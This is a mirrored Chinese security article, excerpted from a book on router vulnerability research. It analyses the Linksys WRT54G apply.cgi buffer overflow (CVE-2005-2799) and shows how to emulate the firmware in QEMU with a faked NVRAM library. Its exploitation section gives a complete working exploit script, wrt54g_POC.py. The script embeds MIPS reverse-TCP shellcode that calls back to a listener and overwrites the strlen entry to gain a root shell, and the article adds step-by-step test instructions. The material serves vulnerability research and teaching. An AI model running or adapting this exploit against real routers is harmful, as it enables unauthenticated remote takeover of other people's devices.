forked from Trietptm-on-Security/WooYun-2
-
Notifications
You must be signed in to change notification settings - Fork 7
/
1466493268.html
559 lines (416 loc) · 136 KB
/
1466493268.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
<html>
<head>
<title>Linksys WRT54G 路由器溢出漏洞分析—— 运行环境修复 - 博文视点安全技术大系</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<h1>原文地址:<a href="http://drops.wooyun.org/papers/7660">http://drops.wooyun.org/papers/7660</a></h1>
<p>
<p>本文节选自《揭秘家用路由器0day漏洞挖掘技术》,吴少华主编,王炜、赵旭编著,电子工业出版社 2015年8月出版。</p>
<p>本章实验测试环境说明如表13-1所示。</p>
<p>表13-1</p>
<table>
<tr>
<th>
</th>
<th>
测试环境
</th>
<th>
备 注
</th>
</tr>
<tr>
<td>
操作系统
</td>
<td>
Binwalk 2.0
</td>
<td>
</td>
</tr>
<tr>
<td>
文件系统提取工具
</td>
<td>
Ubuntu 12.04
</td>
<td>
</td>
</tr>
<tr>
<td>
调试器
</td>
<td>
IDA 6.1
</td>
<td>
</td>
</tr>
<tr>
<td>
利用代码解释器
</td>
<td>
Python 2.7
</td>
<td>
</td>
</tr>
</table>
<h1>13.1 漏洞介绍</h1>
<hr />
<p>Linksys WRT54G是一款SOHO无线路由器,在功能、稳定性、双天线信号覆盖能力方面都得到了用户的认可。它还支持第三方固件,从而使其功能更加强大。不少用户购买Linksys WRT54G路由器就是为了刷第三方固件,使路由器具有可自由定制的功能。 Linksys WRT54G v2版本的路由器曝出过一个漏洞,CVE编号为CVE-2005-2799。在Cisco官网(<a href="http://tools.cisco.com/security/center/viewAlert.x?alertId=9722">http://tools.cisco.com/security/center/viewAlert.x?alertId=9722</a>)可以获取如下图所示的信息。 从漏洞的公告中我们可以看出,该漏洞存在于WRT54G路由器Web服务器程序HTTPD的apply.cgi处理脚本中,由于对发送的POST请求没有设置足够的边界与内容长度检查,当未经认证的远程攻击者向路由器的apply.cgi页面发送内容长度大于10 000字节的POST请求时,就可以触发缓冲区溢出。这个漏洞会允许未经认证的用户在受影响的路由器上以root权限执行任意命令。 该漏洞被覆盖的缓冲区并不在堆栈中,因此,在溢出后不会导致堆栈上的数据被覆盖,而是直接覆盖到漏洞程序的 .data段,这时对漏洞的利用方式就与之前不同了。在这种情况下,控制溢出数据覆盖 .extern段中的函数调用地址,劫持系统函数调用,是上上之选。该漏洞就是使用这种利用方式,并在劫持系统函数调用之后使漏洞程序执行前面章节中编写的Reverse_tcp的Shellcode的。</p>
<!--more-->
<p><img src="http://static.wooyun.org//drops/20150804/2015080407244649663image001.png" alt="图13-1" /></p>
<p>硬件和软件分析环境说明如表13-2所示。</p>
<p>表13-2</p>
<table>
<tr>
<th>
</th>
<th>
描述
</th>
<th>
备 注
</th>
</tr>
<tr>
<td>
型号
</td>
<td>
WRT54G
</td>
<td>
Linksys
</td>
</tr>
<tr>
<td>
硬件版本
</td>
<td>
V2.2
</td>
<td>
</td>
</tr>
<tr>
<td>
固件版本
</td>
<td>
V4.00.7
</td>
<td>
</td>
</tr>
<tr>
<td>
指令系统
</td>
<td>
MIPSEL
</td>
<td>
小端机格式
</td>
</tr>
<tr>
<td>
QEMU
</td>
<td>
1.7.90
</td>
<td>
处理器模拟软件
</td>
</tr>
</table>
<h1>13.2 漏洞分析</h1>
<hr />
<p>下面详细分析一下这个漏洞产生的原因和利用方法。</p>
<h2>13.2.1 固件分析</h2>
<hr />
<p>下载Linksys WRT54G路由器4.00.7版本的固件,下载链接为<a href="http://download.pchome.net/%20driver/network/route/wireless/down-129948-2.html">http://download.pchome.net/ driver/network/route/wireless/down-129948-2.html</a>,解压缩后得到固件WRT54GV3.1_4.00.7_US_ code.bin。 使用Binwalk将固件中的文件系统提取出来,如下图所示。</p>
<p><img src="http://static.wooyun.org//drops/20150804/2015080407244949215image003.png" alt="图13-2>" /></p>
<p>该漏洞的核心组件为 /usr/sbin/httpd,如下图所示。</p>
<p><img src="http://static.wooyun.org//drops/20150804/2015080407245111651image005.png" alt="图13-3" /></p>
<h2>13.2.2 修复运行环境</h2>
<hr />
<p>从漏洞公告中我们已经知道,当路由器HTTPD的apply.cgi处理脚本接收长度大于10 000字节的POST请求时会触发缓冲区溢出漏洞。该漏洞的测试POC如下。 源码 wrt54g_test.py</p>
<pre><code>1 import sys
2 import urllib2
3 try:
4 target = sys.argv[1]
5 except:
6 print "Usage: %s <target>" % sys.argv[0]
7 sys.exit(1)
8 url = "http://%s/apply.cgi" % target
9 buf = "\x42"*10000+"\x41"*0x4000 # POST parameter name
10 req = urllib2.Request(url, buf)
11 print urllib2.urlopen(req).read()
</code></pre>
<ul>
<li>第8行:访问存在漏洞的apply.cgi处理脚本。</li>
<li>第9行:构造超过10 000字节的数据(这里我们构造一段足够长的数据)。</li>
</ul>
<p>当我们使用模拟器(QEMU)运行路由器中的应用程序(如这里的Web服务器)时,经常会遇到一个问题——模拟器缺乏硬件的模拟,导致程序无法执行。而需要执行的Web服务器就是应用程序试图采用NVRAM中的信息来配置参数,但由于找不到设备导致了错误的发生。在路由器中,常见的NVRAM动态库libnvram.so提供了<code>nvram_get()</code> 函数和<code>nvram_set()</code>函数来获取和设置配置参数。如果使用模拟器运行应用程序,会在调用<code>nvram_get()</code> 函数时失败,导致应用程序无法运行(因为模拟器中没有NVRAM)。使用如下命令运行HTTPD,如下图所示。</p>
<pre><code>$ cp $(which qemu-mipsel) ./
$ chroot ./ ./qemu-mipsel ./usr/sbin/httpd
$ netstat -an|grep 80
</code></pre>
<p><img src="http://static.wooyun.org//drops/20150804/2015080407245415177image007.png" alt="图13-4" /></p>
<p>在运行的过程中可以看到,程序报错,提示找不到 /dev/nvram文件或目录,且使用netstat命令查看当前系统开放的端口时没有发现80端口,Web服务器启动失败。</p>
<h3>1.修复NVRAM</h3>
<hr />
<p>使用zcutlip的一个nvram-faker来修复NVRAM。nvram-faker虽然是一个简单的动态库,但可以使用LD_PRELOAD劫持libnvram库中的函数调用。我们只需要向一个ini的配置文件中写入合理的NVRAM配置,就可以使Web服务器程序运行。 nvram-faker的下载方法如下。</p>
<pre><code>$ git clone https://github.com/zcutlip/nvram-faker.git
$ ls
arch.mk contrib nvram-faker.c nvram.ini
buildmipsel.sh LICENSE.txt nvram-faker.h README.md
buildmips.sh Makefile nvram-faker-internal.h
</code></pre>
<p>在nvram-faker中提供了劫持nvram_get() 函数的方法。为了让程序运行,还需要劫持一个函数,函数声明如下。</p>
<pre><code>char *get_mac_from_ip(const char*ip);
</code></pre>
<p>为了方便使用IDA或者GDB调试,我们把fork() 函数一并劫持,否则fork() 函数产生的多进程会让调试过程异常复杂,函数声明如下。</p>
<pre><code>int fork(void);
综上所述,我们需要对nvram-faker进行以下修改。
01 打开nvram-faker.c,添加如下代码。
1 int fork(void)
2 {
3 return 0;
4 }
5 char *get_mac_from_ip(const char*ip)
6 {
7 char mac[]="00:50:56:C0:00:08";
8 char *rmac = strdup(mac);
9 return rmac;
10 }
代码添加后如图13-5所示。
02 修改nvram-faker.h头文件,添加函数声明如下。
char *get_mac_from_ip(const char*ip);
int fork(void);
修改后如下图所示。
03 保存所有文件,进入编译环节。在 /nvram-faker目录下有两个Shell脚本:一个是buildmips.sh,即用于编译大端机格式的动态库;另一个是buildmipsel.sh,即用于编译小端机格式的动态库。WRT54G路由器是小端机格式,所以这里使用buildmipsel.sh进行编译,命令如下。
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="f590989790919091b58097809b8180">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~/nvram-faker/ $ sh buildmipsel.sh
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="2f4a424d4a4b4a4b6f5a4d5a415b5a">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~/nvram-faker/ $ ls
arch.mk ini.o nvram-faker.c nvram.ini
buildmipsel.sh libnvram-faker.so nvram-faker.h README.md
buildmips.sh LICENSE.txt nvram-faker-internal.h
contrib Makefile nvram-faker.o
</code></pre>
<p><img src="http://static.wooyun.org//drops/20150804/2015080407245841768image009.png" alt="图13-5" /></p>
<p><img src="http://static.wooyun.org//drops/20150804/2015080407250188597image011.png" alt="图13-6" /></p>
<p>编译好以后,会在 /nvram-faker目录下生成一个名为“libnvram-faker.so”的动态库。将libnvram-faker.so和同目录下的nvram.ini复制到WRT54G路由器的根文件系统中,示例如下。</p>
<pre><code><a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="096c646b6c6d6c6d497c6b7c677d7c">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~/nvram-faker/ $ cp libnvram-faker.so ../ _WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="e7828a8582838283a7928592899392">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~/nvram-faker/ $ cp nvram.ini ../_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="31545c5354555455714453445f4544">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/ $ ls
bin etc libnvram-faker.so nvram.ini sbin usr www
dev lib mnt proc tmp var
</code></pre>
<p>由于libnvram-faker.so使用了共享库编译,所以我们需要将mipsel-linux-gcc交叉编译环境中lib库下的libgcc_s.so.1复制到WRT54G路由器的根文件系统中,命令如下。</p>
<pre><code>$ cp /opt/mipsel/output/target/lib/libgcc_s.so.1 ~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/lib
</code></pre>
<h3>2.修复HTTPD执行环境</h3>
<hr />
<p>HTTPD在运行时需要对 /var目录下的某些文件进行操作,而这些文件是在Linux启动过程中才会产生的,因此,编写如下prepare.sh脚本修改HTTPD执行环境。 源码 prepare.sh</p>
<pre><code>1 rm var
2 mkdir var
3 mkdir ./var/run
4 mkdir ./var/tmp
5 touch ./var/run/lock
6 touch ./var/run/crod.pid
7 touch httpd.pid
</code></pre>
<p>脚本run_cgi.sh提供了两种方法执行HTTPD,一种是不需要调试器介入直接运行程序的执行模式,另一种是开放1234调试接口等待调试器连接。在QEMU环境中模拟执行HTTPD时,使用LD_PRELOAD环境变量加载libnvram-faker.so劫持函数调用,修复因硬件缺失导致的运行错误。增加的HTTPD脚本文件内容如下。 源码 run_cgi.sh</p>
<pre><code>1 #!/bin/bash
2 DEBUG="$1"
3 LEN=$(echo "$DEBUG" | wc -c)
4 # usage: sh run_cgi.sh debug #debug mode
5 # sh run_cgi.sh #execute mode
6 cp $(which qemu-mipsel) ./
7 if [ "$LEN" -eq 1 ]
8 then
9 echo "EXECUTE MODE !\n"
10 sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
11 else
12 echo "DEBUG MODE !\n"
13 sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" -g 1234 ./usr/sbin/httpd
14 rm qemu-mipsel
15 fi
</code></pre>
<h3>3.测试和分析环境</h3>
<hr />
<p>测试和分析环境说明如表13-3所示。</p>
<table>
<tr>
<th>
</th>
<th>
IP地址
</th>
</tr>
<tr>
<td>
测试主机(Windows实体机)
</td>
<td>
192.168.90.11
</td>
</tr>
<tr>
<td>
虚拟主机(VMware Ubuntu)
</td>
<td>
192.168.230.136
</td>
</tr>
<tr>
<td>
虚拟网管(VMware)
</td>
<td>
192.168.230.1
</td>
</tr>
</table>
<p>网络拓扑如下图所示。</p>
<p><a href="http://drops.wooyun.org/wp-content/uploads/2015/08/图13-7.png"><img src="http://static.wooyun.org//drops/20150804/2015080402371118444.png" alt="" title="图13-7" class="alignnone size-full wp-image-7667" /></a></p>
<h2>13.2.3 漏洞成因分析</h2>
<p>运行prepare.sh脚本,修复HTTPD执行环境,命令如下。</p>
<pre><code>$ sh prepare.sh
</code></pre>
<p>使用run_cgi.sh脚本调试模式执行HTTPD,等待调试器连接,命令如下。</p>
<pre><code>$ sh run_cgi.sh debug
DEBUG MODE !
</code></pre>
<p>使用IDA加载HTTPD,进行远程附加调试,按“F5”键直接运行HTTPD。待HTTPD服务开启后,在Windows下运行测试脚本wrt54g-test.py,命令如下。</p>
<pre><code>E:\>wrt54g_test.py 192.168.230.136
</code></pre>
<p>可以看到,Ubuntu中的HTTPD程序已经崩溃了,现场如图13-8所示。阅读崩溃部分的代码,发现程序希望将0写入0x41419851(0x41414141+0x5710)处时造成错误。其原因是:系统寻不到0x41419851这块内存,而0x41414141是我们发送的伪造数据,0x5710正好是伪造的POST参数的总长度。同时,我们从崩溃现场还能知道,如果存在地址0x41414141+0x5710,那么0x004112D0处会将地址0x41414141写入寄存器 $t9,并且在0x00411208处控制程序执行流程。这里的溢出数据已经把 .extern段的strlen函数地址覆盖了。</p>
<p><a href="http://drops.wooyun.org/wp-content/uploads/2015/08/图13-8.png"><img src="http://static.wooyun.org//drops/20150804/2015080402371117677.png" alt="" title="图13-8" class="alignnone size-full wp-image-7668" /></a></p>
<p>从汇编代码中可以看到,崩溃现场在do_apply_post函数的代码段中。从命名上可以知道,该函数的功能是处理apply的POST参数,正与漏洞公告中描述的一样。 下面,我们看一下崩溃现场附近的代码,分析造成漏洞的真正原因,如下图所示。</p>
<p><a href="http://drops.wooyun.org/wp-content/uploads/2015/08/图13-9.png"><img src="http://static.wooyun.org//drops/20150804/2015080402371111843.png" alt="" title="图13-9" class="alignnone size-full wp-image-7669" /></a></p>
<p>在do_apply_post函数偏移0x3C处的伪代码如下。</p>
<pre><code>1 wreadlen = wfread(post_buf,1,content-length,fhandle);
2 if(wreadlen)
3 strlen(post_buf);
</code></pre>
<p>读取长度为content-length的所有POST数据到post_buf,如果读取的POST数据长度不为0,就计算post_buf中数据的长度。 这里的content-length是POST参数的长度,在调用do_apply_post函数时并没有进行校验,而该长度在使用读取数据进入内存时也没有进行校验就直接读取了POST参数,因此导致了缓冲区溢出。 我们再看看产生缓冲区溢出的内存post_buf的位置。可以看到,post_buf位于HTTPD的 .data段中,如下图所示。在应用程序中,.data段用于存放已初始化的全局变量,这里的post_buf大小为0x2710字节(10 000字节)。</p>
<p><a href="http://drops.wooyun.org/wp-content/uploads/2015/08/图13-10.png"><img src="http://static.wooyun.org//drops/20150804/2015080402371184686.png" alt="" title="图13-10" class="alignnone size-full wp-image-7670" /></a></p>
<p>现在我们已经弄清楚了漏洞的原理。该漏洞在接收超过10 000字节的来自攻击者伪造的数据包时,由于在do_apply_post函数调用前后没有验证POST数据的长度,而在do_apply_post函数中使用了自定义的wfread() 函数,并调用了fread() 系统函数,直接将伪造的超长POST数据全部复制到大小为10 000字节的全局变量post_buf中,所以导致了缓冲区溢出。</p>
<h1>13.3 漏洞利用</h1>
<hr />
<p>下面介绍一下该漏洞的利用方式。</p>
<h2>13.3.1 漏洞利用方式:执行Shellcode</h2>
<hr />
<p>在漏洞分析中我们发现,该漏洞有一个特征,就是缓冲区溢出的数据覆盖 .data段中的全局变量。仔细分析能够发现在 .data段后面有以下段,如下图所示。</p>
<p><a href="http://drops.wooyun.org/wp-content/uploads/2015/08/图13-11.png"><img src="http://static.wooyun.org//drops/20150804/2015080402371172492.png" alt="" title="图13-11" class="alignnone size-full wp-image-7671" /></a></p>
<p>因为这些段是连续的并且可写入,所以我们考虑通过do_apply_post函数的漏洞使溢出数据连续覆盖 .data后面的多个段,直到将 .extern段中的strlen函数地址覆盖,这样,我们就可以在wfread函数覆盖内存以后,在调用strlen函数时将执行流程劫持并执行任意地址的代码,如下图所示。</p>
<p><a href="http://drops.wooyun.org/wp-content/uploads/2015/08/图13-12.png"><img src="http://static.wooyun.org//drops/20150804/2015080402371291123.png" alt="" title="图13-12" class="alignnone size-full wp-image-7672" /></a></p>
<p>在这里,只要填充0x2F32(0x1000D7A0 - 0x10001AD8)字节的数据,就可以将原来的strlen调用位置填充为任意地址,并控制执行流程。但是,为了利用的稳定性和通用性,这里选择将strlen之后的一段数据一并覆盖,利用方法如下图所示。 在post_buf中填充NOP指令及Shellcode,将post_buf之后总共0x4000字节的数据全部覆盖为post_buf首地址,使布置的缓冲区总是能够覆盖strlen函数地址,strlen指向post_buf,如此一来,原来执行strlen的地方都会跳转到post_buf首地址去执行。这样就可以保证wfread() 函数布置完缓冲区以后,在0x004112D8处执行strlen函数时会被劫持到post_buf头部去执行我们的Shellcode了。</p>
<p><a href="http://drops.wooyun.org/wp-content/uploads/2015/08/图13-13.png"><img src="http://static.wooyun.org//drops/20150804/2015080402371299867.png" alt="" title="图13-13" class="alignnone size-full wp-image-7673" /></a></p>
<h2>13.3.2 生成POC</h2>
<hr />
<p>在完成了ROP的构造以后,编写如下代码与路由器进行交互,实现漏洞利用。 源码 wrt54g_POC.py</p>
<pre><code>1 import sys
2 import struct,socket
3 import urllib2
4 def makepayload(host,port):
5 print '[*] prepare shellcode',
6 hosts = struct.unpack('<cccc',struct.pack('<L',host))
7 ports = struct.unpack('<cccc',struct.pack('<L',port))
8 mipselshell ="\xfa\xff\x0f\x24" # li t7,-6
9 mipselshell+="\x27\x78\xe0\x01" # nor t7,t7,zero
10 mipselshell+="\xfd\xff\xe4\x21" # addi a0,t7,-3
11 mipselshell+="\xfd\xff\xe5\x21" # addi a1,t7,-3
12 mipselshell+="\xff\xff\x06\x28" # slti a2,zero,-1
13 mipselshell+="\x57\x10\x02\x24" # li v0,4183 # sys_socket
14 mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
15 mipselshell+="\xff\xff\xa2\xaf" # sw v0,-1(sp)
16 mipselshell+="\xff\xff\xa4\x8f" # lw a0,-1(sp)
17 mipselshell+="\xfd\xff\x0f\x34" # li t7,0xfffd
18 mipselshell+="\x27\x78\xe0\x01" # nor t7,t7,zero
19 mipselshell+="\xe2\xff\xaf\xaf" # sw t7,-30(sp)
20 mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c" # lui t6,0x1f90
21 mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35" # ori t6,t6,0x1f90
22 mipselshell+="\xe4\xff\xae\xaf" # sw t6,-28(sp)
23 mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c" # lui t6,0x7f01
24 mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35" # ori t6,t6,0x101
25 mipselshell+="\xe6\xff\xae\xaf" # sw t6,-26(sp)
26 mipselshell+="\xe2\xff\xa5\x27" # addiu a1,sp,-30
27 mipselshell+="\xef\xff\x0c\x24" # li t4,-17
28 mipselshell+="\x27\x30\x80\x01" # nor a2,t4,zero
29 mipselshell+="\x4a\x10\x02\x24" # li v0,4170 # sys_connect
30 mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
31 mipselshell+="\xfd\xff\x11\x24" # li s1,-3
32 mipselshell+="\x27\x88\x20\x02" # nor s1,s1,zero
33 mipselshell+="\xff\xff\xa4\x8f" # lw a0,-1(sp)
34 mipselshell+="\x21\x28\x20\x02" # move a1,s1 # dup2_loop
35 mipselshell+="\xdf\x0f\x02\x24" # li v0,4063 # sys_dup2
36 mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
37 mipselshell+="\xff\xff\x10\x24" # li s0,-1
38 mipselshell+="\xff\xff\x31\x22" # addi s1,s1,-1
39 mipselshell+="\xfa\xff\x30\x16" # bne s1,s0,68 <dup2_loop>
40 mipselshell+="\xff\xff\x06\x28" # slti a2,zero,-1
41 mipselshell+="\x62\x69\x0f\x3c" # lui t7,0x2f2f "bi"
42 mipselshell+="\x2f\x2f\xef\x35" # ori t7,t7,0x6269 "//"
43 mipselshell+="\xec\xff\xaf\xaf" # sw t7,-20(sp)
44 mipselshell+="\x73\x68\x0e\x3c" # lui t6,0x6e2f "sh"
45 mipselshell+="\x6e\x2f\xce\x35" # ori t6,t6,0x7368 "n/"
46 mipselshell+="\xf0\xff\xae\xaf" # sw t6,-16(sp)
47 mipselshell+="\xf4\xff\xa0\xaf" # sw zero,-12(sp)
48 mipselshell+="\xec\xff\xa4\x27" # addiu a0,sp,-20
49 mipselshell+="\xf8\xff\xa4\xaf" # sw a0,-8(sp)
50 mipselshell+="\xfc\xff\xa0\xaf" # sw zero,-4(sp)
51 mipselshell+="\xf8\xff\xa5\x27" # addiu a1,sp,-8
52 mipselshell+="\xab\x0f\x02\x24" # li v0,4011 # sys_execve
53 mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
54 print 'ending ...'
55 return mipselshell
56 try:
57 target = sys.argv[1]
58 except:
59 print "Usage: %s <target>" % sys.argv[0]
60 sys.exit(1)
61 url = "http://%s/apply.cgi" % target
62 #ip='192.168.230.136'
63 sip='192.168.1.100' #reverse_tcp local_ip
64 sport = 4444 #reverse_tcp local_port
65 DataSegSize = 0x4000
66 host=socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
67 payload = makepayload(host,sport)
68 addr = struct.pack("<L",0x10001AD8)
69 DataSegSize = 0x4000
70 buf = "\x00"*(10000-len(payload))+payload+addr*(DataSegSize/4)
71 req = urllib2.Request(url, buf)
72 print urllib2.urlopen(req).read()
</code></pre>
<ul>
<li>第61行:访问存在漏洞的apply.cgi。</li>
<li>第67行:使用makepayload() 函数配置reverse_tcp的源IP地址和源PORT(端口)。</li>
<li>第70行:构造缓冲区。</li>
<li>第71行~第72行:使用HTTP协议发送伪造数据包。</li>
</ul>
<h1>13.4 漏洞测试</h1>
<hr />
<h4>测试环境</h4>
<pre><code>01 打开网页,访问网关(路由器)。网关是192.168.1.1,浏览器访问192.168.1.1,登录WRT54G路由器,在首页上可以看到当前路由器的型号和固件版本。
02 使用nc命令在192.168.1.100上打开4444端口监听,命令为“nc -lp 4444”。
03 执行测试脚本,命令为“wrt54g_POC.py 192.168.1.1”。
04 执行任意命令。
</code></pre>
<p>整个过程如下图所示。</p>
<p><a href="http://drops.wooyun.org/wp-content/uploads/2015/08/图13-14.png"><img src="http://static.wooyun.org//drops/20150804/2015080402371217159.png" alt="" title="图13-14" class="alignnone size-full wp-image-7674" /></a></p>
<p>登录路由器以后,就可以使用命令对路由器进行控制,并查看路由器CPU的信息了。</p> </p>
</body>
</html>